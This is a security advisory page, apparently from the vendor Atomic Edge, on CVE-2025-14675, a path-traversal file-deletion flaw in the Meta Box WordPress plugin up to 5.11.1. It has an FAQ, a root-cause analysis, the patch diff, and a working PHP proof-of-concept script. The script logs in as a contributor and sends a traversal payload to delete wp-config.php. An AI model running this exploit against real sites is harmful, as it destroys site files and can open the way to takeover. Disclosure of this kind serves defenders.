What is CVE-2025-14675?

CVE-2025-14675 is a high-severity vulnerability in the Meta Box plugin for WordPress, affecting versions up to and including 5.11.1. It allows authenticated users with Contributor-level access or higher to delete arbitrary files on the server due to insufficient file path validation in the ‘ajax_delete_file’ function.

How does the vulnerability work?

The vulnerability allows attackers to send a crafted POST request to the WordPress AJAX endpoint, targeting the ‘ajax_delete_file’ function. By manipulating the file path, an attacker can delete critical files, such as wp-config.php, leading to potential remote code execution.

Who is affected by this vulnerability?

Any WordPress site using the Meta Box plugin version 5.11.1 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard under ‘Plugins’ to determine if they are using a vulnerable version.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Meta Box plugin installed. If it is version 5.11.1 or earlier, your site is at risk. Additionally, review user roles to see if any users have Contributor-level access or higher.

How can I fix this vulnerability?

The vulnerability is patched in Meta Box version 5.11.2. To mitigate the issue, update the Meta Box plugin to the latest version through the WordPress dashboard or manually download the updated version from the official repository.

What if I cannot update the plugin immediately?

If an immediate update is not possible, consider restricting access to the WordPress admin area or removing Contributor-level access from users until the plugin can be updated. This can help prevent exploitation of the vulnerability.

What does the CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity vulnerability. This means that there is a significant risk of exploitation, which could lead to severe consequences, including unauthorized access to sensitive files and potential site takeover.

What is the role of the proof of concept?

The proof of concept demonstrates how an attacker can exploit the vulnerability by authenticating as a Contributor and sending a crafted request to delete critical files. It serves as a practical example of the risk posed by the vulnerability and highlights the need for immediate action.

What files can be deleted due to this vulnerability?

An attacker can potentially delete any file on the server that the web server user has permission to remove. This includes critical files like wp-config.php, which can lead to site reinstallation and remote code execution.

What are the implications of deleting wp-config.php?

Deleting wp-config.php can lead to the loss of database connection details, resulting in site downtime. During reinstallation, if an attacker has access, they may exploit the situation for further attacks, including remote code execution.

How does the patch improve security?

The patch implements a multi-step validation routine to ensure that file deletions are restricted to the intended upload directory. It uses functions like realpath() and str_starts_with() to validate file paths, significantly reducing the risk of arbitrary file deletion.

What should I do if I suspect exploitation?

If you suspect that your site has been exploited, immediately check your server for unauthorized file changes. Review user accounts, update the Meta Box plugin, and consider restoring from a backup if necessary. Additionally, conduct a security audit to identify any other vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-14675: Meta Box <= 5.11.1 – Authenticated (Contributor+) Arbitrary File Deletion (meta-box)

CVE ID CVE-2025-14675

Plugin meta-box

Severity High (CVSS 7.2)

CWE 22

Vulnerable Version 5.11.1

Patched Version 5.11.2

Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14675:
The vulnerability resides in the `ajax_delete_file` function within the Meta Box plugin’s file field handler. The root cause is insufficient path validation when processing file deletion requests. The vulnerable code in `/inc/fields/file.php` (line 54) constructs a local file path by replacing the site’s home URL with the ABSPATH directory. It then directly passes this constructed path to the `unlink()` function without verifying the resolved path resides within the intended upload directory. This allows an attacker to submit a crafted URL that resolves to any file on the server’s filesystem.

Exploitation requires Contributor-level WordPress access or higher. Attackers send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `rwmb_delete_file`. The request must include a `field_id` matching a configured file upload field and a `attachment` parameter containing a malicious URL. A payload like `http://target.site/wp-content/uploads/../../../wp-config.php` would traverse directories and delete the WordPress configuration file. Successful deletion of `wp-config.php` causes site reinstallation, often leading to remote code execution during the setup process.

The patch adds a multi-step validation routine. It resolves the constructed path using `realpath()` and normalizes it with `wp_normalize_path()`. The code then retrieves the allowed base directory from the field’s `upload_dir` configuration. A critical check uses `str_starts_with()` to ensure the resolved real path begins with the allowed base directory. If validation fails, the function returns a JSON error. The patch also updates the `sanitize_file` method in `/inc/sanitizer.php` to reject URLs containing directory traversal sequences (`..`). These changes restrict file operations to the intended upload directory.

Differential between vulnerable and patched code

Code Diff

--- a/meta-box/inc/core.php
+++ b/meta-box/inc/core.php
@@ -3,7 +3,7 @@
 	public function init() {
 		add_filter( 'plugin_action_links_meta-box/meta-box.php', [ $this, 'plugin_links' ], 20 );

-		// Uses priority 20 to support custom port types registered using the default priority.
+		// Uses priority 20 to support custom post types registered using the default priority.
 		add_action( 'init', [ $this, 'register_meta_boxes' ], 20 );
 		add_action( 'edit_page_form', [ $this, 'fix_page_template' ] );
 		$this->add_context_hooks();
--- a/meta-box/inc/fields/block-editor.php
+++ b/meta-box/inc/fields/block-editor.php
@@ -33,6 +33,26 @@
 		RWMB_Helpers_Field::localize_script_once( 'rwmb-block-editor', 'rwmbBlockEditor', [
 			'editor_settings' => $editor_settings,
 		] );
+
+		// Load block categories.
+		wp_add_inline_script(
+			'wp-blocks',
+			sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ) ) ),
+			'after'
+		);
+
+		// Preload server-registered block schemas.
+		wp_add_inline_script(
+			'wp-blocks',
+			'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');'
+		);
+
+		// Load 3rd party blocks.
+		add_filter( 'should_load_block_editor_scripts_and_styles', '__return_true' );
+
+		if ( ! did_action( 'enqueue_block_editor_assets' ) ) {
+			do_action( 'enqueue_block_editor_assets' );
+		}
 	}

 	/**
--- a/meta-box/inc/fields/file.php
+++ b/meta-box/inc/fields/file.php
@@ -51,8 +51,17 @@
 		if ( is_numeric( $attachment ) ) {
 			$result = wp_delete_attachment( $attachment );
 		} else {
-			$path   = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
-			$result = unlink( $path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
+			$path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
+
+			// Security: validate resolved path is within $field['upload_dir'] directory.
+			$real_path    = realpath( $path );
+			$real_path    = wp_normalize_path( $real_path );
+			$allowed_base = ! empty( $field['upload_dir'] ) ? trailingslashit( wp_normalize_path( $field['upload_dir'] ) ) : '';
+			if ( ! $real_path || ! $allowed_base || ! str_starts_with( $real_path, $allowed_base ) ) {
+				wp_send_json_error( __( 'Error: The file is outside the allowed upload directory', 'meta-box' ) );
+			}
+
+			$result = unlink( $real_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
 		}

 		if ( $result ) {
--- a/meta-box/inc/fields/time.php
+++ b/meta-box/inc/fields/time.php
@@ -20,6 +20,12 @@
 	public static function normalize( $field ) {
 		$field                             = parent::normalize( $field );
 		$field['js_options']['timeFormat'] = empty( $field['format'] ) ? $field['js_options']['timeFormat'] : $field['format'];
+		// This field does not support timestamp.
+		// Prevent the timestamp from being set to true, like switching from a date field to a time field in the builder.
+		if ( isset( $field['timestamp'] ) ) {
+			$field['timestamp'] = false;
+		}
+
 		return $field;
 	}

--- a/meta-box/inc/loader.php
+++ b/meta-box/inc/loader.php
@@ -7,7 +7,7 @@
 class RWMB_Loader {
 	protected function constants() {
 		// Script version, used to add version for scripts and styles.
-		define( 'RWMB_VER', '5.11.1' );
+		define( 'RWMB_VER', '5.11.2' );

 		list( $path, $url ) = self::get_path( dirname( __DIR__ ) );

--- a/meta-box/inc/sanitizer.php
+++ b/meta-box/inc/sanitizer.php
@@ -83,7 +83,6 @@
 			'user'              => [ $this, 'sanitize_object' ],
 			'video'             => [ $this, 'sanitize_object' ],
 			'wysiwyg'           => 'wp_kses_post',
-			'block_editor'      => 'wp_kses_post',
 		];

 		$type = $field['type'];
@@ -205,7 +204,14 @@
 	 * @return array
 	 */
 	private function sanitize_file( $value, $field ) {
-		return $field['upload_dir'] ? array_map( 'esc_url_raw', $value ) : $this->sanitize_object( $value );
+		if ( ! $field['upload_dir'] ) {
+			return $this->sanitize_object( $value );
+		}
+
+		// Security: sanitize URLs and reject path traversal sequences.
+		return array_filter( array_map( function ( $url ) {
+			return str_contains( $url, '..' ) ? '' : esc_url_raw( $url );
+		}, $value ) );
 	}

 	/**
--- a/meta-box/js/block-editor/build/block-editor.asset.php
+++ b/meta-box/js/block-editor/build/block-editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-media-utils', 'wp-primitives'), 'version' => '54b94dd750fd475c5136');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-media-utils', 'wp-primitives'), 'version' => '025c2e5baa0baf143b8f');
--- a/meta-box/meta-box.php
+++ b/meta-box/meta-box.php
@@ -3,7 +3,7 @@
  * Plugin Name: Meta Box
  * Plugin URI:  https://metabox.io
  * Description: Create custom meta boxes and custom fields in WordPress.
- * Version:     5.11.1
+ * Version:     5.11.2
  * Author:      MetaBox.io
  * Author URI:  https://metabox.io
  * License:     GPL2+
--- a/meta-box/vendor/composer/installed.php
+++ b/meta-box/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wpmetabox/meta-box',
-        'pretty_version' => '5.11.1',
-        'version' => '5.11.1.0',
-        'reference' => '21cc88efff8892a93a8218ba1b00a142eabb0d86',
+        'pretty_version' => '5.11.2',
+        'version' => '5.11.2.0',
+        'reference' => '270c63653de72c4677b99450551fcd71fbf84b93',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'wpmetabox/meta-box' => array(
-            'pretty_version' => '5.11.1',
-            'version' => '5.11.1.0',
-            'reference' => '21cc88efff8892a93a8218ba1b00a142eabb0d86',
+            'pretty_version' => '5.11.2',
+            'version' => '5.11.2.0',
+            'reference' => '270c63653de72c4677b99450551fcd71fbf84b93',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14675 - Meta Box <= 5.11.1 - Authenticated (Contributor+) Arbitrary File Deletion
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$file_to_delete = 'wp-config.php'; // Target file relative to WordPress root

// 1. Authenticate to WordPress and obtain cookies/nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);

// 2. Craft malicious attachment URL that resolves to target file
// The plugin replaces home_url('/') with ABSPATH. Use traversal to escape uploads directory.
$malicious_attachment = $target_url . '/wp-content/uploads/../../../' . $file_to_delete;

// 3. Send AJAX request to trigger the vulnerable delete function
// The field_id must match an existing file upload field on the site.
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'rwmb_delete_file',
        'field_id' => 'some_file_field', // Adjust to a valid field ID
        'attachment' => $malicious_attachment,
        'object_type' => 'post',
        'object_id' => '1'
    ])
]);
$ajax_response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $ajax_response . "n";
// A successful deletion returns JSON with 'success' => true
?>

Frequently Asked Questions

What is CVE-2025-14675?
Overview of the vulnerability
CVE-2025-14675 is a high-severity vulnerability in the Meta Box plugin for WordPress, affecting versions up to and including 5.11.1. It allows authenticated users with Contributor-level access or higher to delete arbitrary files on the server due to insufficient file path validation in the ‘ajax_delete_file’ function.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows attackers to send a crafted POST request to the WordPress AJAX endpoint, targeting the ‘ajax_delete_file’ function. By manipulating the file path, an attacker can delete critical files, such as wp-config.php, leading to potential remote code execution.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Meta Box plugin version 5.11.1 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard under ‘Plugins’ to determine if they are using a vulnerable version.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Meta Box plugin installed. If it is version 5.11.1 or earlier, your site is at risk. Additionally, review user roles to see if any users have Contributor-level access or higher.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is patched in Meta Box version 5.11.2. To mitigate the issue, update the Meta Box plugin to the latest version through the WordPress dashboard or manually download the updated version from the official repository.
What if I cannot update the plugin immediately?
Temporary mitigation strategies
If an immediate update is not possible, consider restricting access to the WordPress admin area or removing Contributor-level access from users until the plugin can be updated. This can help prevent exploitation of the vulnerability.
What does the CVSS score of 7.2 indicate?
Understanding the risk level
A CVSS score of 7.2 indicates a high severity vulnerability. This means that there is a significant risk of exploitation, which could lead to severe consequences, including unauthorized access to sensitive files and potential site takeover.
What is the role of the proof of concept?
Demonstrating the vulnerability
The proof of concept demonstrates how an attacker can exploit the vulnerability by authenticating as a Contributor and sending a crafted request to delete critical files. It serves as a practical example of the risk posed by the vulnerability and highlights the need for immediate action.
What files can be deleted due to this vulnerability?
Potential impact on the server
An attacker can potentially delete any file on the server that the web server user has permission to remove. This includes critical files like wp-config.php, which can lead to site reinstallation and remote code execution.
What are the implications of deleting wp-config.php?
Consequences of exploitation
Deleting wp-config.php can lead to the loss of database connection details, resulting in site downtime. During reinstallation, if an attacker has access, they may exploit the situation for further attacks, including remote code execution.
How does the patch improve security?
Changes made in the updated version
The patch implements a multi-step validation routine to ensure that file deletions are restricted to the intended upload directory. It uses functions like realpath() and str_starts_with() to validate file paths, significantly reducing the risk of arbitrary file deletion.
What should I do if I suspect exploitation?
Response steps for administrators
If you suspect that your site has been exploited, immediately check your server for unauthorized file changes. Review user accounts, update the Meta Box plugin, and consider restoring from a backup if necessary. Additionally, conduct a security audit to identify any other vulnerabilities.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations